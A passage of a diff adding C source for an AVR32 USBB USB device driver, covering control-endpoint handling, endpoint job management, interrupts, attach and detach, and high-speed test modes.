(USBCLK_STARTUP_TIMEOUT>3000)) \ + || ((!defined USB_DEVICE_HS_SUPPORT) && (USBCLK_STARTUP_TIMEOUT>10000)) +# define USBB_SLEEP_MODE_USB_SUSPEND SLEEPMGR_STDBY +#else +# if (USB_DEVICE_ATTR & USB_CONFIG_ATTR_SELF_POWERED) +# define USBB_SLEEP_MODE_USB_SUSPEND SLEEPMGR_STOP +# else +# define USBB_SLEEP_MODE_USB_SUSPEND SLEEPMGR_STATIC +# endif +#endif +#define USBB_SLEEP_MODE_USB_IDLE SLEEPMGR_IDLE + +//! State of USB line +static bool udd_b_idle; + + +/*! \brief Authorize or not the CPU powerdown mode + * + * \param b_enable true to authorize powerdown mode + */ +static void udd_sleep_mode(bool b_idle) +{ + if (!b_idle && udd_b_idle) { + sleepmgr_unlock_mode(USBB_SLEEP_MODE_USB_IDLE); + } + if (b_idle && !udd_b_idle) { + sleepmgr_lock_mode(USBB_SLEEP_MODE_USB_IDLE); + } + udd_b_idle = b_idle; +} +#else + +static void udd_sleep_mode(bool b_idle) { +} + +#endif // UDD_NO_SLEEP_MGR + +//@} + + +/** + * \name Control endpoint low level management routine. + * + * This function performs control endpoint mangement. + * It handle the SETUP/DATA/HANDSHAKE phases of a control transaction. + */ +//@{ + +//! Global variable to give and record information about setup request management +COMPILER_WORD_ALIGNED udd_ctrl_request_t udd_g_ctrlreq; + +//! Bit definitions about endpoint control state machine for udd_ep_control_state +typedef enum { + UDD_EPCTRL_SETUP = 0, //!< Wait a SETUP packet + UDD_EPCTRL_DATA_OUT = 1, //!< Wait a OUT data packet + UDD_EPCTRL_DATA_IN = 2, //!< Wait a IN data packet + UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP = 3, //!< Wait a IN ZLP packet + UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP = 4, //!< Wait a OUT ZLP packet + UDD_EPCTRL_STALL_REQ = 5, //!< STALL enabled on IN & OUT packet +} udd_ctrl_ep_state_t; + +//! State of the endpoint control management +static udd_ctrl_ep_state_t udd_ep_control_state; + +//! Total number of data received/sent during data packet phase with previous payload buffers +static uint16_t udd_ctrl_prev_payload_nb_trans; + +//! Number of data received/sent to/from udd_g_ctrlreq.payload buffer +static uint16_t udd_ctrl_payload_nb_trans; + +/** + * \brief Reset control endpoint + * + * Called after a USB line reset or when UDD is enabled + */ +static void udd_reset_ep_ctrl(void); + +/** + * \brief Reset control endpoint management + * + * Called after a USB line reset or at the end of SETUP request (after ZLP) + */ +static void udd_ctrl_init(void); + +//! \brief Managed reception of SETUP packet on control enpoint +static void udd_ctrl_setup_received(void); + +//! \brief Managed reception of IN packet on control enpoint +static void udd_ctrl_in_sent(void); + +//! \brief Managed reception of OUT packet on control enpoint +static void udd_ctrl_out_received(void); + +//! \brief Managed underflow event of IN packet on control enpoint +static void udd_ctrl_underflow(void); + +//! \brief Managed overflow event of OUT packet on control enpoint +static void udd_ctrl_overflow(void); + +//! \brief Managed stall event of IN/OUT packet on control enpoint +static void udd_ctrl_stall_data(void); + +//! \brief Send a ZLP IN on control endpoint +static void udd_ctrl_send_zlp_in(void); + +//! \brief Send a ZLP OUT on control endpoint +static void udd_ctrl_send_zlp_out(void); + +//! \brief Call callback associated to setup request +static void udd_ctrl_endofrequest(void); + + +/** + * \brief Main interrupt routine for control endpoint + * + * This switchs control endpoint events to correct sub function. + * + * \return \c 1 if an event about control endpoint is occured, otherwise \c 0. + */ +static bool udd_ctrl_interrupt(void); + +//@} + + +/** + * \name Management of bulk/interrupt/isochronous endpoints + * + * The UDD manages the data transfer on endpoints: + * - Start data tranfer on endpoint with USB Device DMA + * - Send a ZLP packet if requested + * - Call callback registered to signal end of transfer + * The transfer abort and stall feature are supported. + */ +//@{ +#if (0!=USB_DEVICE_MAX_EP) + +//! Structure definition about job registered on an endpoint +typedef struct { + //! A job is registered on this endpoint + uint8_t busy:1; + + //! A short packet is requested for this job on endpoint IN + uint8_t b_shortpacket:1; + + //! A stall has been requested but not executed + uint8_t stall_requested:1; + + //! Buffer located in internal RAM to send or fill during job + uint8_t *buf; + + //! Size of buffer to send or fill + iram_size_t buf_size; + + //! Total number of data transfered on enpoint + iram_size_t nb_trans; + + union { + //! Callback to call at the end of transfer + udd_callback_trans_t call_trans; + + //! Callback to call when the endpoint halt is cleared + udd_callback_halt_cleared_t call_nohalt; + }; +} udd_ep_job_t; + + +//! Array to register a job on bulk/interrupt/isochronous endpoint +static udd_ep_job_t udd_ep_job[USB_DEVICE_MAX_EP]; + +//! \brief Reset all job table +static void udd_ep_job_table_reset(void); + +//! \brief Abort all endpoint jobs on going +static void udd_ep_job_table_kill(void); + +/** + * \brief Abort endpoint job on going + * + * \param ep endpoint number of job to abort + */ +static void udd_ep_abort_job(udd_ep_id_t ep); + +/** + * \brief Call the callback associated to the job which is finished + * + * \param ptr_job job to complete + * \param b_abort if true then the job has been aborted + */ +static void udd_ep_finish_job(udd_ep_job_t * ptr_job, bool b_abort); + +/** + * \brief Start the next transfer if necessary or complete the job associated. + * + * \param ep endpoint number wihtout direction flag + */ +static void udd_ep_trans_done(udd_ep_id_t ep); + +/** + * \brief Main interrupt routine for bulk/interrupt/isochronous endpoints + * + * This switchs endpoint events to correct sub function. + * + * \return \c 1 if an event about bulk/interrupt/isochronous endpoints has occured, otherwise \c 0. + */ +static bool udd_ep_interrupt(void); + +#endif // (0!=USB_DEVICE_MAX_EP) +//@} + + +/** + * \brief Function called by USBB interrupt to manage USB device interrupts + * + * USB Device interrupt events are splited in three parts: + * - USB line events (SOF, reset, suspend, resume, wakeup) + * - control endpoint events (setup reception, end of data transfer, underflow, overflow, stall) + * - bulk/interrupt/isochronous endpoints events (end of data transfer) + * + * Note: + * Here, the global interrupt mask is not clear when an USB interrupt is enabled + * because this one can not be occured during the USB ISR (=during INTX is masked). + * See Technical reference $3.8.3 Masking interrupt requests in peripheral modules. + */ +#ifdef UHD_ENABLE +void udd_interrupt(void); +void udd_interrupt(void) +#else +ISR(udd_interrupt, AVR32_USBB_IRQ_GROUP, UDD_USB_INT_LEVEL) +#endif +{ + if (Is_udd_sof()) { + udd_ack_sof(); + if (Is_udd_full_speed_mode()) { + udc_sof_notify(); + } +#ifdef UDC_SOF_EVENT + UDC_SOF_EVENT(); +#endif + goto udd_interrupt_end; + } + if (Is_udd_msof()) { + udd_ack_msof(); + udc_sof_notify(); + goto udd_interrupt_end; + } + + if (udd_ctrl_interrupt()) + goto udd_interrupt_end; // Interrupt acked by control endpoint managed + +#if (0 != USB_DEVICE_MAX_EP) + if (udd_ep_interrupt()) + goto udd_interrupt_end; // Interrupt acked by bulk/interrupt/isochronous endpoint managed +#endif + + // USB bus reset detection + if (Is_udd_reset()) { + udd_ack_reset(); + // Abort all jobs on-going +#if (USB_DEVICE_MAX_EP != 0) + udd_ep_job_table_kill(); +#endif + // Reset USB Device Stack Core + udc_reset(); + // Reset endpoint control + udd_reset_ep_ctrl(); + // Reset endpoint control management + udd_ctrl_init(); + goto udd_interrupt_end; + } + + if (Is_udd_suspend_interrupt_enabled() && Is_udd_suspend()) { + otg_unfreeze_clock(); + // The suspend interrupt is automatic acked when a wakeup occur + udd_disable_suspend_interrupt(); + udd_enable_wake_up_interrupt(); + otg_freeze_clock(); // Mandatory to exit of sleep mode after a wakeup event + udd_sleep_mode(false); // Enter in SUSPEND mode +#ifdef UDC_SUSPEND_EVENT + UDC_SUSPEND_EVENT(); +#endif + goto udd_interrupt_end; + } + + if (Is_udd_wake_up_interrupt_enabled() && Is_udd_wake_up()) { + // Ack wakeup interrupt and enable suspend interrupt + otg_unfreeze_clock(); + + // Check USB clock ready after suspend and eventually sleep USB clock + while( !Is_otg_clock_usable() ); + + // The wakeup interrupt is automatic acked when a suspend occur + udd_disable_wake_up_interrupt(); + udd_enable_suspend_interrupt(); + udd_sleep_mode(true); // Enter in IDLE mode +#ifdef UDC_RESUME_EVENT + UDC_RESUME_EVENT(); +#endif + goto udd_interrupt_end; + } + + if (Is_otg_vbus_transition()) { + // Ack Vbus transition and send status to high level + otg_unfreeze_clock(); + otg_ack_vbus_transition(); + otg_freeze_clock(); +#ifdef UDC_VBUS_EVENT + UDC_VBUS_EVENT(Is_otg_vbus_high()); +#endif + goto udd_interrupt_end; + } +udd_interrupt_end: + otg_data_memory_barrier(); + return; +} + + +bool udd_include_vbus_monitoring(void) +{ + return true; +} + + +void udd_enable(void) +{ + irqflags_t flags; + + flags = cpu_irq_save(); + +#ifdef UHD_ENABLE + //* DUAL ROLE INITIALIZATION + if (otg_dual_enable()) { + // The current mode has been started by otg_dual_enable() + cpu_irq_restore(flags); + return; + } +#else + //* SINGLE DEVICE MODE INITIALIZATION + sysclk_enable_usb(); + + // Here, only the device mode is possible, then link USBB interrupt to UDD interrupt + irq_register_handler(udd_interrupt, AVR32_USBB_IRQ, UDD_USB_INT_LEVEL); + + // Always authorize asynchrone USB interrupts to exit of sleep mode + pm_asyn_wake_up_enable(AVR32_PM_AWEN_USB_WAKEN_MASK); +#endif + +# if (defined USB_ID) && (defined UHD_ENABLE) + // Check that the device mode is selected by ID pin + if (!Is_otg_id_device()) { + cpu_irq_restore(flags); + return; // Device is not the current mode + } +# else + // ID pin not used then force device mode + otg_disable_id_pin(); + otg_force_device_mode(); +# endif + + // Enable USB hardware + otg_enable_pad(); + otg_enable(); + otg_unfreeze_clock(); + (void)Is_otg_clock_frozen(); + + // Reset internal variables +#if (0!=USB_DEVICE_MAX_EP) + udd_ep_job_table_reset(); +#endif + + // Set the USB speed requested by configuration file +#ifdef USB_DEVICE_LOW_SPEED + udd_low_speed_enable(); +#else + udd_low_speed_disable(); +# ifdef USB_DEVICE_HS_SUPPORT + udd_high_speed_enable(); +# else + udd_high_speed_disable(); +# endif +#endif + otg_ack_vbus_transition(); + // Force Vbus interrupt in case of Vbus always with a high level + // This is possible with a short timing between a Host mode stop/start. + if (Is_otg_vbus_high()) { + otg_raise_vbus_transition(); + } + otg_enable_vbus_interrupt(); + otg_freeze_clock(); + +#ifndef UDD_NO_SLEEP_MGR + // Initialize the sleep mode authorized for the USB suspend mode + udd_b_idle = false; + sleepmgr_lock_mode(USBB_SLEEP_MODE_USB_SUSPEND); +#endif + + cpu_irq_restore(flags); +} + + +void udd_disable(void) +{ + irqflags_t flags; + flags = cpu_irq_save(); + +#ifdef UHD_ENABLE +# ifdef USB_ID + if (Is_otg_id_host()) { + return; // Host mode running, ignore UDD disable + } +# else + if (Is_otg_host_mode_forced()) { + return; // Host mode running, ignore UDD disable + } +# endif +#endif + + otg_unfreeze_clock(); + udd_detach(); +#ifndef UDD_NO_SLEEP_MGR + sleepmgr_unlock_mode(USBB_SLEEP_MODE_USB_SUSPEND); +#endif + +#ifndef UHD_ENABLE + otg_disable(); + otg_disable_pad(); + sysclk_disable_usb(); + // Else the USB clock disable is done by UHC which manage USB dual role +#endif + cpu_irq_restore(flags); +} + + +void udd_attach(void) +{ + irqflags_t flags; + flags = cpu_irq_save(); + + // At startup the USB bus state is unknown, + // therefore the state is considered IDLE to not miss any USB event + udd_sleep_mode(true); + otg_unfreeze_clock(); + while( !Is_otg_clock_usable() ); + + // Authorize attach if Vbus is present + udd_attach_device(); + + // Enable USB line events + udd_enable_reset_interrupt(); + udd_enable_suspend_interrupt(); + udd_enable_wake_up_interrupt(); + udd_enable_sof_interrupt(); +#ifdef USB_DEVICE_HS_SUPPORT + udd_enable_msof_interrupt(); +#endif + // Reset following interupts flag + udd_ack_reset(); + udd_ack_sof(); + udd_ack_msof(); + + // The first suspend interrupt must be forced +#if UC3A3 + // With UTMI, the first suspend is detected but must be cleared to reoccur interrupt + udd_ack_suspend(); +#else + // The first suspend interrupt is not detected else raise it + udd_raise_suspend(); +#endif + udd_ack_wake_up(); + otg_freeze_clock(); + cpu_irq_restore(flags); +} + + +void udd_detach(void) +{ + otg_unfreeze_clock(); + + // Detach device from the bus + udd_detach_device(); + otg_freeze_clock(); + udd_sleep_mode(false); +} + + +bool udd_is_high_speed(void) +{ +#ifdef USB_DEVICE_HS_SUPPORT + return !Is_udd_full_speed_mode(); +#else + return false; +#endif +} + + +void udd_set_address(uint8_t address) +{ + udd_disable_address(); + udd_configure_address(address); + udd_enable_address(); +} + + +uint8_t udd_getaddress(void) +{ + return udd_get_configured_address(); +} + + +uint16_t udd_get_frame_number(void) +{ + return udd_frame_number(); +} + +uint16_t udd_get_micro_frame_number(void) +{ + return udd_micro_frame_number(); +} + +void udd_send_wake_up(void) +{ +#ifndef UDD_NO_SLEEP_MGR + if (!udd_b_idle) +#endif + { + udd_sleep_mode(true); // Enter in IDLE mode + otg_unfreeze_clock(); + udd_initiate_remote_wake_up(); + } +} + + +void udd_set_setup_payload( uint8_t *payload, uint16_t payload_size ) +{ + udd_g_ctrlreq.payload = payload; + udd_g_ctrlreq.payload_size = payload_size; +} + + +#if (0!=USB_DEVICE_MAX_EP) +bool udd_ep_alloc(udd_ep_id_t ep, uint8_t bmAttributes, + uint16_t MaxEndpointSize) +{ + bool b_dir_in; + uint16_t ep_allocated; + uint8_t bank, i; + + b_dir_in = ep & USB_EP_DIR_IN; + ep = ep & USB_EP_ADDR_MASK; + + if (ep > USB_DEVICE_MAX_EP) { + return false; + } + if (Is_udd_endpoint_enabled(ep)) { + return false; + } + + // Bank choise + switch(bmAttributes&USB_EP_TYPE_MASK) { + case USB_EP_TYPE_ISOCHRONOUS: + bank = UDD_ISOCHRONOUS_NB_BANK; + break; + case USB_EP_TYPE_INTERRUPT: + bank = UDD_INTERRUPT_NB_BANK; + break; + case USB_EP_TYPE_BULK: + bank = UDD_BULK_NB_BANK; + break; + default: + Assert(false); + return false; + } + switch(bank) { + case 1: + bank = AVR32_USBB_UECFG0_EPBK_SINGLE; + break; + case 2: + bank = AVR32_USBB_UECFG0_EPBK_DOUBLE; + break; + case 3: + bank = AVR32_USBB_UECFG0_EPBK_TRIPLE; + break; + default: + Assert(false); + return false; + } + + // Check if endpoint size is 8,16,32,64,128,256,512 or 1023 + Assert(MaxEndpointSize < 1024); + Assert((MaxEndpointSize == 1023) || !(MaxEndpointSize & (MaxEndpointSize - 1))); + Assert(MaxEndpointSize >= 8); + + // Set configuration of new endpoint + udd_configure_endpoint(ep, bmAttributes, (b_dir_in ? 1 : 0), + MaxEndpointSize, bank); + ep_allocated = 1 << ep; + + // Unalloc endpoints superior + for (i = USB_DEVICE_MAX_EP; i > ep; i--) { + if (Is_udd_endpoint_enabled(i)) { + ep_allocated |= 1 << i; + udd_disable_endpoint(i); + udd_unallocate_memory(i); + } + } + + // Realloc/Enable endpoints + for (i = ep; i <= USB_DEVICE_MAX_EP; i++) { + if (ep_allocated & (1 << i)) { + udd_allocate_memory(i); + udd_enable_endpoint(i); + if (!Is_udd_endpoint_configured(i)) { + return false; + } + udd_enable_endpoint_bank_autoswitch(i); + } + } + return true; +} + + +void udd_ep_free(udd_ep_id_t ep) +{ + udd_disable_endpoint(ep & USB_EP_ADDR_MASK); + udd_unallocate_memory(ep & USB_EP_ADDR_MASK); + udd_ep_abort_job(ep); +} + + +bool udd_ep_is_halted(udd_ep_id_t ep) +{ + return Is_udd_endpoint_stall_requested(ep & USB_EP_ADDR_MASK); +} + + +bool udd_ep_set_halt(udd_ep_id_t ep) +{ + udd_ep_job_t *ptr_job; + uint8_t index = ep & USB_EP_ADDR_MASK; + + if (USB_DEVICE_MAX_EP < index) { + return false; + } + + ptr_job = &udd_ep_job[index - 1]; + if (ptr_job->busy == true) { + return false; // Job on going, stall impossible + } + + if (0 != udd_nb_busy_bank(index)) { + // Wait end of transfer on USB line before stall endpoint + // Flag a stall requested + ptr_job->stall_requested = true; + udd_enable_bank_interrupt(index); + udd_enable_endpoint_interrupt(index); + } else { + // Stall endpoint + udd_disable_endpoint_bank_autoswitch(index); + udd_enable_stall_handshake(index); + udd_reset_data_toggle(index); + } + return true; +} + + +bool udd_ep_clear_halt(udd_ep_id_t ep) +{ + udd_ep_job_t *ptr_job; + + ep &= USB_EP_ADDR_MASK; + if (USB_DEVICE_MAX_EP < ep) + return false; + ptr_job = &udd_ep_job[ep - 1]; + + if (Is_udd_endpoint_stall_requested(ep) // Endpoint stalled + || ptr_job->stall_requested) { // Endpoint stall is requested + // Remove request to stall + ptr_job->stall_requested = false; + + // Remove stall + udd_disable_stall_handshake(ep); + udd_enable_endpoint_bank_autoswitch(ep); + + // If a job is register on clear halt action + // then execute callback + if (ptr_job->busy == true) { + ptr_job->busy = false; + ptr_job->call_nohalt(); + } + } + return true; +} + + +bool udd_ep_run(udd_ep_id_t ep, bool b_shortpacket, + uint8_t * buf, iram_size_t buf_size, + udd_callback_trans_t callback) +{ + udd_ep_job_t *ptr_job; + irqflags_t flags; + + ep &= USB_EP_ADDR_MASK; + if (USB_DEVICE_MAX_EP < ep) { + return false; + } + + // Get job about endpoint + ptr_job = &udd_ep_job[ep - 1]; + + if ((!Is_udd_endpoint_enabled(ep)) + || Is_udd_endpoint_stall_requested(ep) + || ptr_job->stall_requested) { + return false; // Endpoint is halted + } + + flags = cpu_irq_save(); + if (ptr_job->busy == true) { + cpu_irq_restore(flags); + return false; // Job already on going + } + ptr_job->busy = true; + cpu_irq_restore(flags); + + // No job running. Let's setup a new one. + // + ptr_job->buf = buf; + ptr_job->buf_size = buf_size; + ptr_job->nb_trans = 0; + ptr_job->call_trans = callback; + ptr_job->b_shortpacket = b_shortpacket; + + + // Request first transfer + udd_ep_trans_done(ep); + return true; +} + + +void udd_ep_abort(udd_ep_id_t ep) +{ + // Stop DMA transfer + udd_endpoint_dma_set_control((ep & USB_EP_ADDR_MASK), 0); + udd_ep_abort_job(ep); +} + + +bool udd_ep_wait_stall_clear(udd_ep_id_t ep, + udd_callback_halt_cleared_t callback) +{ + udd_ep_job_t *ptr_job; + + ep &= USB_EP_ADDR_MASK; + if (USB_DEVICE_MAX_EP < ep) { + return false; + } + + ptr_job = &udd_ep_job[ep - 1]; + + if (!Is_udd_endpoint_enabled(ep)) { + return false; // Endpoint not enabled + } + + // Wait clear halt endpoint + if (ptr_job->busy == true) { + return false; // Job already on going + } + + if (Is_udd_endpoint_stall_requested(ep) + || ptr_job->stall_requested) { + // Endpoint halted then registes the callback + ptr_job->busy = true; + ptr_job->call_nohalt = callback; + } else { + // Enpoint not halted then call directly callback + callback(); + } + return true; +} +#endif // (0!=USB_DEVICE_MAX_EP) + + +#ifdef USB_DEVICE_HS_SUPPORT + +void udd_test_mode_j(void) +{ + udd_enable_hs_test_mode(); + udd_enable_hs_test_mode_j(); +} + + +void udd_test_mode_k(void) +{ + udd_enable_hs_test_mode(); + udd_enable_hs_test_mode_k(); +} + + +void udd_test_mode_se0_nak(void) +{ + udd_enable_hs_test_mode(); +} + + +void udd_test_mode_packet(void) +{ + uint8_t i; + uint8_t *ptr_dest; + const uint8_t *ptr_src; + irqflags_t flags; + + const uint8_t test_packet[] = { + // 00000000 * 9 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + // 01010101 * 8 + 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, + // 01110111 * 8 + 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, 0xEE, + // 0, {111111S * 15}, 111111 + 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xFF, 0xFF, + // S, 111111S, {0111111S * 7} + 0x7F, 0xBF, 0xDF, 0xEF, 0xF7, 0xFB, 0xFD, + // 00111111, {S0111111 * 9}, S0 + 0xFC, 0x7E, 0xBF, 0xDF, 0xEF, 0xF7, 0xFB, 0xFD, 0x7E + }; + + // Reconfigure control endpoint to bulk IN endpoint + udd_disable_endpoint(0); + udd_configure_endpoint(0, USB_EP_TYPE_BULK, 1, + 64, AVR32_USBB_UECFG0_EPBK_SINGLE); + udd_allocate_memory(0); + udd_enable_endpoint(0); + + udd_enable_hs_test_mode(); + udd_enable_hs_test_mode_packet(); + + // Send packet on endpoint 0 + ptr_dest = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + ptr_src = test_packet; + + for (i = 0; i < sizeof(test_packet); i++) { + *ptr_dest++ = *ptr_src++; + } + flags = cpu_irq_save(); + udd_enable_in_send_interrupt(0); + cpu_irq_restore(flags); + + udd_ack_in_send(0); +} +#endif // USB_DEVICE_HS_SUPPORT + + + +//-------------------------------------------------------- +//--- INTERNAL ROUTINES TO MANAGED THE CONTROL ENDPOINT + +static void udd_reset_ep_ctrl(void) +{ + irqflags_t flags; + + // Reset USB address to 0 + udd_configure_address(0); + udd_enable_address(); + + // Alloc and configure control endpoint + udd_configure_endpoint(0, + USB_EP_TYPE_CONTROL, + 0, + USB_DEVICE_EP_CTRL_SIZE, AVR32_USBB_UECFG0_EPBK_SINGLE); + + udd_allocate_memory(0); + udd_enable_endpoint(0); + flags = cpu_irq_save(); + udd_enable_setup_received_interrupt(0); + udd_enable_out_received_interrupt(0); + udd_enable_endpoint_interrupt(0); + cpu_irq_restore(flags); +} + +static void udd_ctrl_init(void) +{ + irqflags_t flags; + flags = cpu_irq_save(); + + // In case of abort of IN Data Phase: + // No need to abort IN transfer (rise TXINI), + // because it is automatically done by hardware when a Setup packet is received. + // But the interrupt must be disabled to don't generate interrupt TXINI + // after SETUP reception. + udd_disable_in_send_interrupt(0); + cpu_irq_restore(flags); + + // In case of OUT ZLP event is no processed before Setup event occurs + udd_ack_out_received(0); + + udd_g_ctrlreq.callback = NULL; + udd_g_ctrlreq.over_under_run = NULL; + udd_g_ctrlreq.payload_size = 0; + udd_ep_control_state = UDD_EPCTRL_SETUP; +} + + +static void udd_ctrl_setup_received(void) +{ + irqflags_t flags; + uint8_t i; + + if (UDD_EPCTRL_SETUP != udd_ep_control_state) { + // May be a hidden DATA or ZLP phase + // or protocol abort + udd_ctrl_endofrequest(); + + // Reinitializes control endpoint management + udd_ctrl_init(); + } + // Fill setup request structure + if (8 != udd_byte_count(0)) { + udd_ctrl_stall_data(); + udd_ack_setup_received(0); + return; // Error data number doesn't correspond to SETUP packet + } + uint8_t *ptr = (uint8_t *) & udd_get_endpoint_fifo_access(0,8); + for (i = 0; i < 8; i++) { + ((uint8_t*) &udd_g_ctrlreq.req)[i] = *ptr++; + } + // Manage LSB/MSB to fit with CPU usage + udd_g_ctrlreq.req.wValue = le16_to_cpu(udd_g_ctrlreq.req.wValue); + udd_g_ctrlreq.req.wIndex = le16_to_cpu(udd_g_ctrlreq.req.wIndex); + udd_g_ctrlreq.req.wLength = le16_to_cpu(udd_g_ctrlreq.req.wLength); + + // Decode setup request + if (udc_process_setup() == false) { + // Setup request unknow then stall it + udd_ctrl_stall_data(); + udd_ack_setup_received(0); + return; + } + udd_ack_setup_received(0); + + if (Udd_setup_is_in()) { + // IN data phase requested + udd_ctrl_prev_payload_nb_trans = 0; + udd_ctrl_payload_nb_trans = 0; + udd_ep_control_state = UDD_EPCTRL_DATA_IN; + udd_ctrl_in_sent(); // Send first data transfer + } else { + if (0 == udd_g_ctrlreq.req.wLength) { + // No data phase requested + // Send IN ZLP to ACK setup request + udd_ctrl_send_zlp_in(); + return; + } + // OUT data phase requested + udd_ctrl_prev_payload_nb_trans = 0; + udd_ctrl_payload_nb_trans = 0; + udd_ep_control_state = UDD_EPCTRL_DATA_OUT; + // To detect a protocol error, enable nak interrupt on data IN phase + udd_ack_nak_in(0); + flags = cpu_irq_save(); + udd_enable_nak_in_interrupt(0); + cpu_irq_restore(flags); + } +} + + +static void udd_ctrl_in_sent(void) +{ + uint16_t nb_remain; + uint8_t i; + uint8_t *ptr_dest, *ptr_src; + irqflags_t flags; + + flags = cpu_irq_save(); + udd_disable_in_send_interrupt(0); + cpu_irq_restore(flags); + + if (UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP == udd_ep_control_state) { + // ZLP on IN is sent, then valid end of setup request + udd_ctrl_endofrequest(); + // Reinitializes control endpoint management + udd_ctrl_init(); + return; + } + Assert(udd_ep_control_state == UDD_EPCTRL_DATA_IN); + + nb_remain = udd_g_ctrlreq.payload_size - udd_ctrl_payload_nb_trans; + if (0 == nb_remain) { + // All content of current buffer payload are sent + // Update number of total data sending by previous playlaod buffer + udd_ctrl_prev_payload_nb_trans += udd_ctrl_payload_nb_trans; + if ((udd_g_ctrlreq.req.wLength == udd_ctrl_prev_payload_nb_trans) + || (udd_ctrl_payload_nb_trans%USB_DEVICE_EP_CTRL_SIZE)) { + // All data requested are transfered or a short packet has been sent + // then it is the end of data phase. + // Generate an OUT ZLP for handshake phase. + udd_ctrl_send_zlp_out(); + return; + } + // Need of new buffer because the data phase is not complete + if ((!udd_g_ctrlreq.over_under_run) + || (!udd_g_ctrlreq.over_under_run())) { + // Underrun then send zlp on IN + // Here nb_remain=0 and allows to send a IN ZLP + } else { + // A new payload buffer is given + udd_ctrl_payload_nb_trans = 0; + nb_remain = udd_g_ctrlreq.payload_size; + } + } + // Continue transfer and send next data + if (nb_remain > USB_DEVICE_EP_CTRL_SIZE) { + nb_remain = USB_DEVICE_EP_CTRL_SIZE; + } + // Fill buffer of endpoint control + ptr_dest = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + ptr_src = udd_g_ctrlreq.payload + udd_ctrl_payload_nb_trans; + //** Critical section + // Only in case of DATA IN phase abort without USB Reset signal after. + // The IN data don't must be written in endpoint 0 DPRAM during + // a next setup reception in same endpoint 0 DPRAM. + // Thereby, an OUT ZLP reception must check before IN data write + // and if no OUT ZLP is recevied the data must be written quickly (800us) + // before an eventually ZLP OUT and SETUP reception + flags = cpu_irq_save(); + if (Is_udd_out_received(0)) { + // IN DATA phase aborted by OUT ZLP + cpu_irq_restore(flags); + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP; + return; // Exit of IN DATA phase + } + // Write quickly the IN data + for (i = 0; i < nb_remain; i++) { + *ptr_dest++ = *ptr_src++; + } + udd_ctrl_payload_nb_trans += nb_remain; + + // Validate and send the data available in the control endpoint buffer + udd_ack_in_send(0); + udd_enable_in_send_interrupt(0); + // In case of abort of DATA IN phase, no need to enable nak OUT interrupt + // because OUT endpoint is already free and ZLP OUT accepted. + cpu_irq_restore(flags); +} + + +static void udd_ctrl_out_received(void) +{ + irqflags_t flags; + uint8_t i; + uint16_t nb_data; + + if (UDD_EPCTRL_DATA_OUT != udd_ep_control_state) { + if ((UDD_EPCTRL_DATA_IN == udd_ep_control_state) + || (UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP == + udd_ep_control_state)) { + // End of SETUP request: + // - Data IN Phase aborted, + // - or last Data IN Phase hidden by ZLP OUT sending quiclky, + // - or ZLP OUT received normaly. + udd_ctrl_endofrequest(); + } else { + // Protocol error during SETUP request + udd_ctrl_stall_data(); + } + // Reinitializes control endpoint management + udd_ctrl_init(); + return; + } + // Read data received during OUT phase + nb_data = udd_byte_count(0); + if (udd_g_ctrlreq.payload_size < (udd_ctrl_payload_nb_trans + nb_data)) { + // Payload buffer too small + nb_data = udd_g_ctrlreq.payload_size - + udd_ctrl_payload_nb_trans; + } + uint8_t *ptr_src = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + uint8_t *ptr_dest = udd_g_ctrlreq.payload + udd_ctrl_payload_nb_trans; + for (i = 0; i < nb_data; i++) { + *ptr_dest++ = *ptr_src++; + } + udd_ctrl_payload_nb_trans += nb_data; + + if ((USB_DEVICE_EP_CTRL_SIZE != nb_data) + || (udd_g_ctrlreq.req.wLength <= + (udd_ctrl_prev_payload_nb_trans + + udd_ctrl_payload_nb_trans))) + { + // End of reception because it is a short packet + // Before send ZLP, call intermediat calback + // in case of data receiv generate a stall + udd_g_ctrlreq.payload_size = udd_ctrl_payload_nb_trans; + if (NULL != udd_g_ctrlreq.over_under_run) { + if (!udd_g_ctrlreq.over_under_run()) { + // Stall ZLP + udd_ctrl_stall_data(); + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); + return; + } + } + // Send IN ZLP to ACK setup request + udd_ack_out_received(0); + udd_ctrl_send_zlp_in(); + return; + } + + if (udd_g_ctrlreq.payload_size == udd_ctrl_payload_nb_trans) { + // Overrun then request a new payload buffer + if (!udd_g_ctrlreq.over_under_run) { + // No callback availabled to request a new payload buffer + udd_ctrl_stall_data(); + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); + return; + } + if (!udd_g_ctrlreq.over_under_run()) { + // No new payload buffer delivered + udd_ctrl_stall_data(); + // Ack reception of OUT to replace NAK by a STALL + udd_ack_out_received(0); + return; + } + // New payload buffer available + // Update number of total data received + udd_ctrl_prev_payload_nb_trans += udd_ctrl_payload_nb_trans; + // Reinit reception on payload buffer + udd_ctrl_payload_nb_trans = 0; + } + // Free buffer of control endpoint to authorize next reception + udd_ack_out_received(0); + // To detect a protocol error, enable nak interrupt on data IN phase + udd_ack_nak_in(0); + flags = cpu_irq_save(); + udd_enable_nak_in_interrupt(0); + cpu_irq_restore(flags); +} + + +static void udd_ctrl_underflow(void) +{ + if (Is_udd_out_received(0)) + return; // underflow ignored if OUT data is received + + if (UDD_EPCTRL_DATA_OUT == udd_ep_control_state) { + // Host want to stop OUT transaction + // then stop to wait OUT data phase and wait IN ZLP handshake + udd_ctrl_send_zlp_in(); + } else if (UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP == udd_ep_control_state) { + // A OUT handshake is waiting by device, + // but host want extra IN data then stall extra IN data + udd_enable_stall_handshake(0); + } +} + + +static void udd_ctrl_overflow(void) +{ + if (Is_udd_in_send(0)) + return; // overflow ignored if IN data is received + + // The case of UDD_EPCTRL_DATA_IN is not managed + // because the OUT endpoint is already free and OUT ZLP accepted + + if 